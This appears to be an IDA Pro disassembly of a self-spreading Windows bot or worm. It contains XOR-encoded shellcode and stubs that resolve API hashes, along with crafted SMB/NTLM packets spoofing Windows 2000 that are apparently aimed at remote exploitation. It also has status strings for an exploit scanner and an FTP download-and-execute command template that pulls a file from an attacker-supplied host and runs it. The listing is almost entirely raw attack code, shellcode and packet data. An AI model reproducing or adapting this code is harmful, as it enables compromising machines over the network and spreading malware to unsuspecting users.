dword_417DF0	dd 3 dup(0)		; DATA XREF: .nsp0:00417C84o
		dd offset off_4209A8
		dd offset dword_417DD8+8
		align 8
off_417E08	dd offset off_420A20	; DATA XREF: .nsp0:00417E20o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_417E08
		dd 0
		db    0			; DATA XREF: .nsp0:00417E48o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 1, 417E20h
dword_417E38	dd 3 dup(0)		; DATA XREF: .nsp0:00417CA4o
		dd offset off_420A20
		dd offset unk_417E28
		align 10h
		dd 0FFFFFFFFh, 416580h,	0
		dd offset sub_416578
dword_417E60	dd 19930520h, 2, 417E50h, 4 dup(0) ; DATA XREF:	.nsp0:loc_416597o
		dd 0FFFFFFFFh, 4165A4h,	0
		dd offset loc_4165AC
dword_417E8C	dd 19930520h, 2, 417E7Ch, 4 dup(0) ; DATA XREF:	.nsp0:loc_4165B4o
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 4 dup(0)
		dd offset loc_4028A3
		align 10h
		dd 2 dup(1), 417EB8h
dword_417EDC	dd 19930520h, 2, 417EA8h, 1, 417EC8h, 3	dup(0)
					; DATA XREF: .nsp0:loc_4165C0o
		dd offset off_4209A8
		dd 0
		dd 0FFFFFFFFh, 0
		dd 0Ch,	41649Dh, 2 dup(0)
		dd offset off_4209C0
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	416221h, 2 dup(0)
		dd offset off_4209E0
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	4162F4h, 0
dword_417F58	dd 3, 417F38h, 417F18h,	417EF8h	; DATA XREF: .nsp0:00417F74o
dword_417F68	dd 0			; DATA XREF: sub_4160E0+47o
					; sub_4162BB+12o
		dd offset sub_41627E
		dd 0
		dd offset dword_417F58
dword_417F78	dd 19930520h, 1, 417F98h, 5 dup(0) ; DATA XREF:	.nsp0:loc_4165D4o
		dd 0FFFFFFFFh, 4165CCh
dword_417FA0	dd 19930520h, 1, 417FC0h, 5 dup(0) ; DATA XREF:	.nsp0:loc_4165E8o
dword_417FC0	dd 0FFFFFFFFh, 4165E0h,	2, 417F18h, 417EF8h, 0 ; DATA XREF: .nsp0:00417FE4o
dword_417FD8	dd 0			; DATA XREF: sub_4161AB+12o
		dd offset sub_4161C8
		dd 0
		dd offset dword_417FC0+8
dword_417FE8	dd 19930520h, 1, 418008h, 5 dup(0) ; DATA XREF:	.nsp0:loc_4165FCo
		dd 0FFFFFFFFh, 4165F4h
dword_418010	dd 19930520h, 1, 418030h, 5 dup(0) ; DATA XREF:	.nsp0:loc_416610o
		dd 0FFFFFFFFh, 416608h
dword_418038	dd 19930520h, 1, 418058h, 5 dup(0) ; DATA XREF:	.nsp0:loc_416624o
		dd 0FFFFFFFFh, 41661Ch,	0
		dd offset off_420A00
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	4163DCh, 0
dword_418080	dd 3, 418060h, 417F18h,	417EF8h	; DATA XREF: .nsp0:0041809Co
dword_418090	dd 0			; DATA XREF: sub_41630C+47o
					; sub_4163A3+12o
		dd offset sub_416366
		dd 0
		dd offset dword_418080
dword_4180A0	dd 19930520h, 1, 4180C0h, 5 dup(0) ; DATA XREF:	.nsp0:loc_416638o
		dd 0FFFFFFFFh, 416630h
dword_4180C8	dd 19930520h, 1, 4180E8h, 5 dup(0) ; DATA XREF:	.nsp0:loc_41664Co
		dd 0FFFFFFFFh, 416644h,	182A4h,	2 dup(0)
		dd 182E8h, 17178h, 1812Ch, 2 dup(0)
		dd 1897Ch, 17000h, 77h dup(0)
		dd 349h, 0
		dd 169h, 3 dup(0)
		dd 69h,	3 dup(0)
		dd 175h, 4 dup(0)
		dd 0B00000h, 3 dup(0)
		dd 247h, 5 dup(0)
		dd 8Fh,	5 dup(0)
		dd 1D5h, 3 dup(0)
		dd 21Ah, 9 dup(0)
		dd 7Ah,	5 dup(0)
		dd 16Bh, 3 dup(0)
		dd 0AFh, 2 dup(0)
		dd 600000h, 4 dup(0)
		dd 2Eh,	2 dup(0)
		dd 3970000h, 2 dup(0)
		dd 4D0000h, 3 dup(0)
		dd 1B9h, 4 dup(0)
		dd 2480000h, 3 dup(0)
		dd 1980000h, 4 dup(0)
		dd 177h, 4 dup(0)
		dd 0EAh, 3 dup(0)
		dd 2000000h, 3 dup(0)
		dd 1F90000h, 3 dup(0)
		dd 365h, 3 dup(0)
		dd 25E0000h, 3 dup(0)
		dd 4E0000h, 5 dup(0)
		dd 314h, 2 dup(0)
		dd 15D0000h, 3 dup(0)
		dd 0B2h, 6 dup(0)
		dd 30Eh, 4 dup(0)
		dd 1560000h, 5 dup(0)
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 1, 2	dup(0)
		align 10h
		dd 389h, 4 dup(0)
		dd 26B0000h, 5 dup(0)
		dd 10Ch, 4 dup(0)
		dd 13Ah, 4 dup(0)
		dd 351h, 4 dup(0)
		dd 27Ch, 2 dup(0)
		dd 16C0000h, 4 dup(0)
		dd 1DFh, 3 dup(0)
		dd 7Ch,	2 dup(0)
		dd 13B0000h, 5 dup(0)
		dd 3Dh,	2 dup(0)
		dd 385h, 4 dup(0)
		dd 5A0000h, 3 dup(0)
		dd 2640000h, 2 dup(0)
		dd 1FA0000h, 5 dup(0)
		dd 1D6h, 3 dup(0)
		dd 13F0000h, 4 dup(0)
		dd 352h, 3 dup(0)
		dd 2060000h, 2 dup(0)
		dd 20C0000h, 2 dup(0)
		dd 2CC0000h, 2 dup(0)
		dd 2100000h, 3 dup(0)
		dd 1D8h, 5 dup(0)
		dd 1BE0000h, 3 dup(0)
		dd 1AF0000h, 4 dup(0)
		dd 108h, 3 dup(0)
		dd 1DE0000h, 3 dup(0)
		dd 150h, 5 dup(0)
		dd 20A0000h, 3 dup(0)
		dd 208h, 2 dup(0)
		dd 3780000h, 3 dup(0)
		dd 375h, 3 dup(0)
		dd 22Ch, 3 dup(0)
		dd 29Dh, 3 dup(0)
		dd 2120000h, 2 dup(0)
		dd 2AB0000h, 2 dup(0)
		dd 23A0000h, 3 dup(0)
		dd 23B0000h, 3 dup(0)
		dd 0FC0000h, 2 dup(0)
		dd 0F50000h, 2 dup(0)
		dd 18Bh, 2 dup(0)
		dd 310h, 3 dup(0)
		dd 3620000h, 6 dup(0)
		dd 0ED0000h, 6 dup(0)
		dd 0EEh, 5 dup(0)
		dd 14D0000h, 5 dup(0)
		dd 14F0000h, 6 dup(0)
		dd 319h, 3 dup(0)
		dd 1B10000h, 3 dup(0)
		dd 15E0000h, 3 dup(0)
		dd 33Dh, 6 dup(0)
		dd 2290000h, 3 dup(0)
		dd 2260000h, 3 dup(0)
		dd 1B20000h, 4 dup(0)
		dd 1B5h, 3 dup(0)
		dd 32C0000h, 3 dup(0)
		dd 0E50000h, 4 dup(0)
		dd 3050000h, 3 dup(0)
		dd 340000h, 4 dup(0)
		dd 35h,	3 dup(0)
		dd 3080000h, 1A7h dup(0)
dword_419000	dd 0			; DATA XREF: sub_40D118+1Fo
		dd offset sub_402951
		dd offset sub_4163F4
dword_41900C	dd 0			; DATA XREF: sub_40D118+1Ao
dword_419010	dd 0			; DATA XREF: sub_40D118+10o
		dd offset sub_40C212
		dd offset sub_412403
		dd offset sub_4133A7
		dd offset sub_413D82
dword_419024	dd 0			; DATA XREF: sub_40D118:loc_40D123o
dword_419028	dd 0			; DATA XREF: sub_40D167+65o
		dd offset sub_41344C
dword_419030	dd 0			; DATA XREF: sub_40D167:loc_40D1C7o
dword_419034	dd 0			; DATA XREF: sub_40D167+76o
		dd offset sub_413D93
dword_41903C	dd 0			; DATA XREF: sub_40D167:loc_40D1D8o
dword_419040	dd 682D61h, 0		; DATA XREF: sub_40154B+FAo
		db 2 dup(0)
word_41904A	dw 5341h		; DATA XREF: .nsp0:00402FC0o
		dd 2D312E4Eh, 50545448h, 5 dup(0)
dword_419068	dd 50h			; DATA XREF: sub_401000+1Er
					; sub_406BAB+1865r ...
off_41906C	dd offset sub_4023B8	; DATA XREF: sub_40154B+17Cr
dword_419070	dd 0			; DATA XREF: sub_401000+2Eo
					; sub_4023B8+1BCr ...
dword_419074	dd 1			; DATA XREF: sub_401141+1Er
		dd 1, 32682D61h, 0
		dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0)
		dd 1BDh, 4023B8h, 0
		dd 2 dup(1), 33682D61h,	0
		dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0)
		dd 8Bh,	4023B8h, 0
		dd 2 dup(1), 3174656Eh,	0
		dd 654E0000h, 69706174h, 3933312Dh, 5 dup(0)
		dd 8Bh,	402F69h, 0
		dd 2 dup(1), 3274656Eh,	0
		dd 654E0000h, 69706174h, 3534342Dh, 5 dup(0)
		dd 1BDh, 402F69h, 0	; CODE XREF: sub_4191AA:loc_4191BFj
		dd 2 dup(1), 0Fh dup(0)
; ---------------------------------------------------------------------------
		jmp	short loc_4191BA

; =============== S U B	R O U T	I N E =======================================



sub_4191AA	proc near		; CODE XREF: sub_4191AA:loc_4191BAp
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 166h


loc_4191B2:				; CODE XREF: sub_4191AA+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_4191B2
		jmp	short loc_4191BF
; ---------------------------------------------------------------------------


loc_4191BA:				; CODE XREF: .nsp0:004191A8j
		call	sub_4191AA


loc_4191BF:				; CODE XREF: sub_4191AA+Ej
		jo	short near ptr dword_419158+2
		cwde
		cdq
		cdq
		retn
sub_4191AA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 21h,	95h, 69h
		dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h,	0EF126A9Ah
		dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
		dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh,	0C7C6C070h
		dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
		dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
		dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
		dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
		dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh,	0CA98F36Dh
		dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
		dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
		dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
		dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
		dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
		dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
		dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
		dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
		dd 0FAF899F7h, 0EDE9FCFAh, 99h
aTotalDInS_	db ' Total: %d in %s.',0 ; DATA XREF: sub_401000+81o
		align 4
aSD_0		db ' %s: %d,',0         ; DATA XREF: sub_401000+42o
		align 4
unk_419348	db  1Fh			; DATA XREF: sub_401000+11o
		db 2, 73h, 2
		db  1Fh
		db 63h,	61h, 6Eh
		db  20h
		db 2, 0BBh, 2
aExploitStatist	db ' Exploit Statistics:',0
		align 4
unk_41936C	db  1Fh			; DATA XREF: sub_4010CA+42o
		db 2, 73h, 2
		db  1Fh
		db 63h,	61h, 6Eh
		db  20h
		db 2, 0BBh, 2
aScanNotActive_	db ' Scan not active.',0
		align 4
dword_41938C	dd 273021Fh, 6E61631Fh,	2BB0220h, 754320BBh, 6E657272h
					; DATA XREF: sub_4010CA+2Co
		dd 50492074h, 7325203Ah, 2Eh
dword_4193AC	dd 266021Fh, 2070741Fh,	0BB02BB02h ; DATA XREF:	sub_401141+259o
aFailedToStartS	db ' Failed to start server, error: <%d>.',0
		align 10h
dword_4193E0	dd 266021Fh, 2070741Fh,	0BB02BB02h ; DATA XREF:	sub_401141+1FBo
aServerStartedO	db ' Server started on Port: %d, File: %s, Request: %s.',0
unk_419420	db  1Fh			; DATA XREF: sub_401141+138o
		db 2, 74h, 2
		db  1Fh
		db 66h,	74h, 70h
		db  20h
		db 2, 0BBh, 2
aFailedToStar_0	db ' Failed to start server, error: <%d>.',0
		align 8
unk_419458	db  1Fh			; DATA XREF: sub_401141+D8o
					; sub_406BAB+2CB3o
		db 2, 74h, 2
		db  1Fh
		db 66h,	74h, 70h
		db  20h
		db 2, 0BBh, 2
aServerStarte_0	db ' Server started on Port: %d, File: %s, Request: %s.',0
		align 4
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_401412+38o
					; sub_405752+46o
unk_4194A8	db  1Fh			; DATA XREF: sub_401704+1E0o
		db 2, 73h, 2
		db  1Fh
		db 63h,	61h, 6Eh
		db  20h
		db 2, 0BBh, 2
aFinishedAtSDAf	db ' Finished at %s:%d after %d minute(s) of scanning.',0
unk_4194E8	db  1Fh			; DATA XREF: sub_401704+168o
		db 2, 73h, 2
		db  1Fh
		db 63h,	61h, 6Eh
		db  20h
		db 2, 0BBh, 2
aFailedToStartW	db ' Failed to start worker thread, error: <%d>.',0
		align 4
unk_419524	db  1Fh			; DATA XREF: sub_401704+103o
		db 2, 73h, 2
		db  1Fh
		db 63h,	61h, 6Eh
		db  20h
		db 2, 0BBh, 2
aSDScanThreadDS	db ' %s:%d, Scan thread: %d, Sub-thread: %d.',0
		align 4
unk_41955C	db  1Fh			; DATA XREF: sub_401704+87o
		db 2, 73h, 2
		db  1Fh
		db 63h,	61h, 6Eh
		db  20h
		db 2, 0BBh, 2
aFailedToInitia	db ' Failed to initialize critical section.',0
		align 8
aRbrbrbrb	db 'BBBB',0         ; DATA XREF: sub_401BC7+B2o
		align 4
dword_4195A4	dd 10FF8h, 0		; DATA XREF: sub_401BC7+6Ao
dword_4195AC	dd 10FF8h		; DATA XREF: sub_401BC7+79o
dword_4195B0	dd 7FFDF020h, 0		; DATA XREF: sub_401BC7+162o
dword_4195B8	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)	; DATA XREF: sub_401FE1+78o
		dd 13370000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_419640	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)	; DATA XREF: sub_401FE1+34o
		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_419670	dd 0			; DATA XREF: sub_401FE1+44o
		dd 800000D4h, 2	dup(0)
unk_419680	db  81h	; 		; DATA XREF: sub_4020C0+Ao
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		align 10h
byte_4196D0	db 41h			; DATA XREF: sub_40215E+108r
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 8

; =============== S U B	R O U T	I N E =======================================



sub_419718	proc near		; DATA XREF: sub_4023B8+82o
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_419814
		push	dword ptr [esi]
		push	63D61209h
		call	sub_41982A
		mov	[esi+8], eax
		call	sub_4197DD
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_41982A
		mov	[esi+0Ch], eax
		call	sub_41978F
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_41982A
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_419718	endp


; =============== S U B	R O U T	I N E =======================================



sub_41978F	proc near		; CODE XREF: sub_419718+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_4197B8
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_41978F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4197B8	proc near		; CODE XREF: sub_41978F+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h


loc_4197C7:				; CODE XREF: sub_4197B8+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_4197D4
		inc	ebx
		jmp	short loc_4197C7
; ---------------------------------------------------------------------------


loc_4197D4:				; CODE XREF: sub_4197B8+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_4197B8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4197DD	proc near		; CODE XREF: sub_419718+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi


loc_4197F5:				; CODE XREF: sub_4197DD+1Ej
		cmp	[ecx], ebx
		jz	short loc_4197FD
		mov	ecx, [ecx]
		jmp	short loc_4197F5
; ---------------------------------------------------------------------------


loc_4197FD:				; CODE XREF: sub_4197DD+1Aj
		mov	edx, edi


loc_4197FF:				; CODE XREF: sub_4197DD+2Aj
		cmp	[edx+4], ebx
		jz	short loc_419809
		mov	edx, [edx+4]
		jmp	short loc_4197FF
; ---------------------------------------------------------------------------


loc_419809:				; CODE XREF: sub_4197DD+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_4197DD	endp


; =============== S U B	R O U T	I N E =======================================



sub_419814	proc near		; CODE XREF: sub_419718+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_419814	endp


; =============== S U B	R O U T	I N E =======================================



sub_41982A	proc near		; CODE XREF: sub_419718+16p
					; sub_419718+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_419840:				; CODE XREF: sub_41982A+33j
		jecxz	short loc_41987A
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld


loc_41984D:				; CODE XREF: sub_41982A+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_419859
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_41984D
; ---------------------------------------------------------------------------


loc_419859:				; CODE XREF: sub_41982A+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_419840
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_41987A:				; CODE XREF: sub_41982A:loc_419840j
					; sub_41982A:loc_41987Aj
		jmp	short loc_41987A
sub_41982A	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_419880	proc near		; DATA XREF: sub_4023B8+30o

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_4198D2
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp


loc_41989D:				; CODE XREF: sub_419880+38j
		jecxz	short loc_4198CD
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq


loc_4198A8:				; CODE XREF: sub_419880+32j
		lodsb
		test	al, al
		jz	short loc_4198B4
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_4198A8
; ---------------------------------------------------------------------------


loc_4198B4:				; CODE XREF: sub_419880+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_41989D
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp


loc_4198CD:				; CODE XREF: sub_419880:loc_41989Dj
		mov	[esp+arg_0], ebx
		retn
sub_419880	endp


; =============== S U B	R O U T	I N E =======================================



sub_4198D2	proc near		; CODE XREF: sub_419880+7p

; FUNCTION CHUNK AT 0041990A SIZE 00000007 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_4198EB
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_4198F6
; ---------------------------------------------------------------------------


loc_4198EB:				; CODE XREF: sub_4198D2+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]


loc_4198F6:				; CODE XREF: sub_4198D2+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_41990A
sub_4198D2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4198FD	proc near		; CODE XREF: sub_4198D2:loc_41990Ap
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_4198FD	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4198D2


loc_41990A:				; CODE XREF: sub_4198D2+29j
		call	sub_4198FD


loc_41990F:				; DATA XREF: sub_401B6C+1Bo
					; sub_406BAB+74Ao
		add	[ebx], ah
; END OF FUNCTION CHUNK	FOR sub_4198D2
; ---------------------------------------------------------------------------
		db 3 dup(0)
dword_419914	dd 60h			; DATA XREF: sub_401BC7+320o
dword_419918	dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_401BC7+2F5o
dword_419924	dd 30h			; DATA XREF: sub_401BC7+2CAo
					; .nsp0:0041C3FCo
dword_419928	dd 0A1h			; DATA XREF: sub_401BC7+29Fo
dword_41992C	dd 3			; DATA XREF: sub_401BC7+246o
aCccc		db 'CCCC',0             ; DATA XREF: sub_401BC7+153o
		align 4


loc_419938:				; DATA XREF: sub_401BC7+E8o
		jmp	short near ptr dword_419940
; ---------------------------------------------------------------------------
		align 10h
dword_419940	dd 2 dup(0)		; CODE XREF: .nsp0:loc_419938j
aCmdCEchoOpenSD	db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
					; DATA XREF: sub_4023B8+57o
		db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0
		align 10h
aB:					; DATA XREF: sub_402972+ADo
		unicode	0, <>
		dw 4400h
aCkfdenecfdef_0	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacaca_0	db ' CACACACACACACACACACACACACACACAAA',0
		align 10h
dword_419A00	dd 54000000h, 424D53FFh, 72h, 28011800h, 3 dup(0)
					; DATA XREF: sub_402972+CEo
		dd 8AC0000h, 0E5000000h, 2003100h, 4D4E414Ch, 2E314E41h
		dd 4C020030h, 322E314Dh, 32303058h, 544E0200h, 4E414C20h
		dd 204E414Dh, 302E31h, 20544E02h, 30204D4Ch, 32312Eh, 2	dup(0)
dword_419A60	dd 0AC000000h, 424D53FFh, 73h, 28011800h, 3 dup(0)
					; DATA XREF: sub_402972+E8o
		dd 8AC0000h, 0E5000000h, 0FF0Ch, 2FFDF00h, 100h, 4E000000h
		dd 0
		dd 0D05C00h, 60007180h,	2B06064Ch, 5050106h, 3042A002h
		dd 300EA040h, 2B0A060Ch, 1040106h, 2023782h, 42EA20Ah
		dd 4C544E2Ch, 5053534Dh, 100h, 8020100h, 0
		db    0
		db 20h,	2 dup(0)
		db    0
		db 0Ch,	0, 0Ch
		db    0
		db 20h,	2 dup(0)
		db    0
aWorkstation1wi	db 'WORKSTATION1Windows 2000 2195',0
aWindows20005_0	db 'Windows 2000 5.0',0
		dd 2 dup(0)
dword_419B18	dd 0F2000000h, 424D53FFh, 73h, 28011800h, 3 dup(0)
					; DATA XREF: sub_402972+102o
		dd 8AC0000h, 0E5000800h, 0FF0Ch, 2FFDF00h, 100h, 94000000h
		dd 0
		dd 0D05C00h, 0A100B780h, 81309181h, 8B81A28Eh, 4E888104h
		dd 534D4C54h, 3005053h,	18000000h, 40001800h, 18000000h
		dd 58001800h, 0
		dd 70000000h, 0
		dd 70000000h, 18000000h, 70001800h, 2 dup(0)
		dd 1000000h, 802h, 4030201h, 70605h, 3 dup(0)
		db    0
		db 2 dup(0), 8Fh
; ---------------------------------------------------------------------------
		jno	short loc_419C16
		mov	ecx, 484962Fh
		retf	0EE65h
; ---------------------------------------------------------------------------
		dw 0DAFBh
		db 0CEh	; 
		db 9Eh,	0AFh, 28h
		db  8Eh	; 
		db 0EEh, 7Ah, 54h
		db  69h	; i
		db 85h,	28h, 57h
		db    0
		db 4Fh,	0, 52h
		db    0
		db 4Bh,	0, 53h
		db    0
		dd offset loc_410051+3
		dd offset dword_490054
		db 4Fh,	0, 4Eh
		db    0
		db 31h,	0, 57h
aIndows20002195	db 'indows 2000 2195',0
aWindows20005_1	db 'Windows 2000 5.0',0
		align 10h
dword_419C10	dd 3A000000h		; DATA XREF: sub_402972+119o
		db 0FFh, 53h
; ---------------------------------------------------------------------------


loc_419C16:				; CODE XREF: .nsp0:00419BBCj
		dec	ebp
		inc	edx
		jnz	short $+2
; ---------------------------------------------------------------------------
		dw 0
		dd 20011800h, 3	dup(0)
		dd 8AC0000h, 0E5000800h, 0FF04h, 1000000h, 0F00h, 495C5C5Ch
		dd 244350h, 3F3F3F3Fh, 3Fh
dword_419C50	dd 5C000000h, 424D53FFh, 0A2h, 20011800h, 3 dup(0)
					; DATA XREF: sub_402972+130o
		dd 8AC0800h, 0E5000800h, 0FF18h, 80000h, 16h, 0
		dd 2019Fh, 3 dup(0)
		dd 7, 1, 40h, 2, 5C000900h, 574F5242h, 524553h,	2 dup(0)
dword_419CB8	dd 92000000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
					; DATA XREF: sub_402972+14Ao
		dd 8AC0800h, 0E5000800h, 48000010h, 0E0040000h,	0FFh, 2	dup(0)
		dd 48004A00h, 2004A00h,	2600h, 5C004F40h, 45504950h, 5005Ch
		dd 10030Bh, 480000h, 0
		dd 16D00000h, 16D0h, 10000h, 0
		dd 4FC80001h, 16704B32h, 781201D3h, 6EBF475Ah, 388E1h
		dd 5D040000h, 1CEB8A88h, 0E89F11C9h, 102B0008h,	26048h
		dd 0
dword_419D50	dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
					; DATA XREF: sub_402972+164o
					; sub_402972+1DAo
		dd 8AC0800h, 0E5000800h, 0FF0Eh, 400000h, 0FF000000h, 8FFFFFFh
		dd 11800h, 3F011800h, 0
		dd 5011800h, 10010000h,	18000000h, 1, 0
		dd 1, 6B001F00h, 14C658Ch, 0
		dd 1000000h, 0
		dd 63366800h, 1, 63000000h, 4A000001h, 9F4340FCh, 9043F5F8h
		dd 489B404Fh, 0F54F4A42h, 98469337h, 6A4F4998h,	0EED95951h
		dd 0F42474D9h, 1373815Bh, 0AD136156h, 0E2FCEB83h, 0ECA5D7F4h
		dd 579EA942h, 5E8A3C51h, 0EC9EAF45h, 7FEA3652h,	56EA7289h
		dd 161DDD91h, 988E57D5h, 4CEA4EE2h, 5A8A578Dh, 12EA6226h
		dd 8AA16743h, 67A1D201h, 1EAB97AAh, 0E78A94ACh,	3B450296h
		dd 4CEAB3D8h, 758A5789h, 982A5A26h, 0F8604AF2h,	9AEA7AAEh
		dd 727D72C1h, 77BA676Eh, 98511526h, 63EA5AEDh, 53EAFBB1h
		dd 9D0908A5h, 438D58E3h, 40078052h, 21523ECBh, 211221C5h
		dd 0C39E02F2h, 0EF8C9DC5h, 0C59E0696h, 7584DFF2h, 1169BB2Ch
		dd 0EC633CF8h, 1AB83E7Dh, 0EC36FB58h, 4032057Bh, 402205FEh
		dd 0C39E05EEh, 0FCDF3ECBh, 0F2E805CBh, 0C53E38h, 0
